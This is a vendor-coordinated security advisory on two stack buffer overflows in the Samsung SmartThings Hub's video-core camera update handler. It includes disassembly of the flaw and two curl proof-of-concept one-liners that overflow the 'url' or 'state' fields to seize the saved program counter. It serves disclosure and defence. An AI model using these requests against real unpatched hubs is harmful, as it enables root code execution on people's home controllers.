CVE-2018-3903, CVE-2018-3904
Multiple exploitable buffer overflow vulnerabilities exist in the camera “update” feature of video-core
’s HTTP server of Samsung SmartThings Hub. The video-core
process incorrectly extracts fields from a user-controlled JSON payload, leading to a buffer overflow on the stack. An attacker can send an HTTP request to trigger this vulnerability.
Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17
https://www.smartthings.com/products/smartthings-hub
9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWE-120: Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)
Samsung produces a series of devices aimed at controlling and monitoring a home, such as wall switches, LED bulbs, thermostats and cameras. One of those is the Samsung SmartThings Hub, a central controller which allows an end user to use their smartphone to connect to their house remotely and operate other devices through it. The hub board utilizes several systems on chips. The firmware in question is executed by an i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A architecture.
The firmware is Linux-based, and runs a series of daemons that interface with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth protocols. Additionally, the hubCore
process is responsible for communicating with the remote SmartThings servers via a persistent TLS connection. These servers act as a bridge that allows for secure communication between the smartphone application and the hub. End users can simply install the SmartThings mobile application on their smartphone to control the hub remotely.
One of the features of the hub is that it connects to smart cameras, configures them and looks at their livestreams. For testing, we set up the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream can be displayed by the smartphone application by connecting either to the remote SmartThings servers, or directly to the camera, if they’re both in the same subnetwork.
Inside the hub, the livestream is handled by the video-core
process, which uses ffmpeg
to connect via RTSP to the smart camera in its same local network, and at the same time, provides a streamable link for the smartphone application.
The remote SmartThings servers have the possibility to communicate with the video-core
process by sending messages in the persistent TLS connection, established by the hubCore
process. These messages can encapsulate an HTTP request, which hubCore
would relay directly to the HTTP server exposed by video-core
. The HTTP server listens on port 3000, bound to the localhost address, so a local connection is needed to perform this request.
We identified a vulnerable request that can be exploited to achieve code execution on the video-core
process, which is running as root.
By sending a PATCH request for the /cameras/<camera-id>
path it’s possible to replace the URL and the “state” value of an existing camera.
Such request is handled by function sub_49B4C
:
.text:00049B4C sub_49B4C
.text:00049B4C
.text:00049B4C 000 STMFD SP!, {R4-R11,LR}
.text:00049B50 024 ADD R12, R3, #8
.text:00049B54 024 ADD R11, SP, #0x20
.text:00049B58 024 SUB SP, SP, #0x3580
.text:00049B5C 35A4 BIC R12, R12, #7
.text:00049B60 35A4 SUB SP, SP, #0x2C
.text:00049B64 35D0 SUB R4, R11, #-var_3000
...
.text:00049BCC 35D0 BL http_required_json_parameters ; [1]
...
.text:00049C90 000 BL json_tokener_parse ; [2]
...
.text:00049D10 000 BL db_camera_by_id ; [3]
.text:00049D14 000 SUB R3, R11, #-var_3580
.text:00049D18 000 CMN R0, #4
.text:00049D1C 000 SUB R3, R3, #0x2C
.text:00049D20 000 LDR R12, [R3]
.text:00049D24 000 BEQ loc_49FD8
.text:00049D28 000 CMP R8, #0
.text:00049D2C 000 BNE loc_4A270
...
.text:0004A130 loc_4A130
.text:0004A130 000 SUB R3, R11, #-var_3580
.text:0004A134 000 MOV R1, #:lower16:state ; "state"
.text:0004A138 000 SUB R3, R3, #0x30
.text:0004A13C 000 STR R12, [R3]
.text:0004A140 000 SUB R3, R11, #-var_3580
.text:0004A144 000 MOVT R1, #:upper16:state ; "state"
.text:0004A148 000 SUB R3, R3, #0x2C
.text:0004A14C 000 LDR R2, [R3]
.text:0004A150 000 SUB R3, R11, #-var_3580
.text:0004A154 000 SUB R3, R3, #0x28
.text:0004A158 000 LDR R0, [R3] ; jso
.text:0004A15C 000 BL json_object_object_get_ex ; [4]
.text:0004A160 000 SUB R3, R11, #-var_3580
.text:0004A164 000 CMP R0, #0
.text:0004A168 000 SUB R3, R3, #0x30
.text:0004A16C 000 LDR R12, [R3]
.text:0004A170 000 BNE loc_4A180
...
.text:0004A180 loc_4A180
.text:0004A180 000 SUB R3, R11, #-var_3580
.text:0004A184 000 LDR R0, [R4,#-0x580]
.text:0004A188 000 SUB R3, R3, #0x2C
.text:0004A18C 000 STR R12, [R3]
.text:0004A190 000 BL json_object_to_json_string ; [5]
.text:0004A194 000 SUB R3, R11, #-var_3580
.text:0004A198 000 SUBS R5, R0, #0
.text:0004A19C 000 SUB R3, R3, #0x2C
.text:0004A1A0 000 LDR R12, [R3]
.text:0004A1A4 000 BEQ loc_4A3CC
.text:0004A1A8 000 BL strlen ; [6]
.text:0004A1AC 000 SUB R3, R11, #-var_2040
.text:0004A1B0 000 MOV R2, R0
.text:0004A1B4 000 SUB R3, R3, #0x28
.text:0004A1B8 000 MOV R1, R5
.text:0004A1BC 000 ADD R0, R3, #0x810
.text:0004A1C0 000 ADD R0, R0, #8
.text:0004A1C4 000 BL memcpy ; [7]
.text:0004A1C8 000 MOV R0, R5
.text:0004A1CC 000 BL strlen
...
.text:0004A270 loc_4A270
.text:0004A270 000 SUB R3, R11, #-var_3580
.text:0004A274 000 SUB R2, R11, #-var_3580
.text:0004A278 000 SUB R3, R3, #0x30
.text:0004A27C 000 STR R12, [R3]
.text:0004A280 000 SUB R3, R11, #-var_3580
.text:0004A284 000 SUB R2, R2, #0x2C
.text:0004A288 000 SUB R3, R3, #0x24
.text:0004A28C 000 MOV R1, R7
.text:0004A290 000 STR R3, [R2]
.text:0004A294 000 MOV R2, R3
.text:0004A298 000 SUB R3, R11, #-var_3580
.text:0004A29C 000 MOV R6, #:lower16:debug_log
.text:0004A2A0 000 SUB R3, R3, #0x28
.text:0004A2A4 000 LDR R0, [R3] ; jso
.text:0004A2A8 000 BL json_object_object_get_ex ; [4]
.text:0004A2AC 000 SUB R3, R11, #-var_3580
.text:0004A2B0 000 CMP R0, #0
.text:0004A2B4 000 SUB R3, R3, #0x30
...
.text:0004A2D0 000 SUB R3, R11, #-var_3580
.text:0004A2D4 000 LDR R0, [R4,#-0x580]
.text:0004A2D8 000 SUB R3, R3, #0x30
.text:0004A2DC 000 STR R12, [R3]
.text:0004A2E0 000 BL json_object_to_json_string ; [5]
.text:0004A2E4 000 SUB R3, R11, #-var_3580
.text:0004A2E8 000 SUBS R5, R0, #0
.text:0004A2EC 000 SUB R3, R3, #0x30
.text:0004A2F0 000 LDR R12, [R3]
.text:0004A2F4 000 BEQ loc_4A44C
.text:0004A2F8 000 BL strlen ; [6]
.text:0004A2FC 000 SUB R3, R11, #-var_2040
.text:0004A300 000 MOV R2, R0
.text:0004A304 000 SUB R3, R3, #0x24
.text:0004A308 000 MOV R1, R5
.text:0004A30C 000 ADD R0, R3, #0x610
.text:0004A310 000 BL memcpy ; [7]
.text:0004A314 000 MOV R0, R5
.text:0004A318 000 BL strlen
.text:0004A31C 000 SUB R3, R11, #-var_1A40
.text:0004A320 000 SUB R3, R3, #0x18
.text:0004A324 000 STR R0, [R3]
.text:0004A328 000 SUB R3, R11, #-var_3580
.text:0004A32C 000 SUB R3, R3, #0x30
.text:0004A330 000 LDR R12, [R3]
.text:0004A334 000 CMP R12, #0
.text:0004A338 000 BNE loc_4A130
...
Note that the binary embeds the “json-c” library that is used to manage JSON objects.
The function initially calls http_required_json_parameters
at [1] to verify that all the required parameters are specified in the JSON request, the parameters are url
and state
.
The JSON payload sent in the request is then parsed using json_tokener_parse
[2] and the “camera-id” specified in the request path is verified to exist in the database [3].
Then, both url
and state
parameters are extracted using the following sequence:
- Call to `json_object_object_get_ex` [4] and `json_object_to_json_string` [5] for extracting a parameter by key name.
- Copy the parameter value in a buffer on the stack, using `strlen` [6] and `memcpy` [7].
We can see that the length
value for the memcpy
call is set from the strlen
output of the source string itself. At high level this would be:
memcpy(stack_buffer, json_parameter, strlen(json_parameter));
Since json_parameter
is controlled by the user, there is no restriction on the length of the copy operation, which allows for overflowing the stack buffer and execute arbitrary code.
We identified two different vectors that allow for exploiting this vulnerability:
hubCore
that would be relayed without modification to the vulnerable video-core
process.hubCore
process and is allowed to make any localhost connection. It is thus possible for a SmartApp to send arbitrary HTTP requests directly to the vulnerable video-core
process.A third vector might exist, which we decided not to test to avoid damaging any live infrastructure. This would consist of sending a malicious request from the SmartThings mobile application to the remote SmartThings servers. In turn, depending on the remote APIs available, the servers could relay the malicious payload back to the device via the persistent TLS connection. To use this vector, an attacker would need to own a valid OAuth bearer token, or the relative username and password pair to obtain it.
The following is a list of each vulnerability and its proof of concept. A key with value “x” means that its value is irrelevant, but the key still needs to be present. It’s also assumed that a camera is already present and its id is represented by the variable “${sCameraId}”.
The memcpy
call overflows the destination buffer, which has a size of 512 bytes.
An attacker can send an arbitrarily long “url” value in order to overwrite the saved-PC with 0x42424242:
$ curl -X PATCH "http://127.0.0.1:3000/cameras/${sCameraId}" -d '{"url":"'$(perl -e 'print "A"x6740')BBBBX'","state":"x"}'
The memcpy
call overflows the destination buffer, which has a size of 512 bytes.
An attacker can send an arbitrarily long “state” value in order to overwrite the saved-PC with 0x42424242:
$ curl -X PATCH "http://127.0.0.1:3000/cameras/${sCameraId}" -d '{"url":"x","state":"'$(perl -e 'print "A"x6224')BBBBX'"}'
2018-04-16 - Vendor Disclosure
2018-05-23 - Discussion with vendor/review of timeline for disclosure
2018-07-17 - Vendor patched
2018-07-26 - Public Release
Discovered by Claudio Bozzato of Cisco Talos.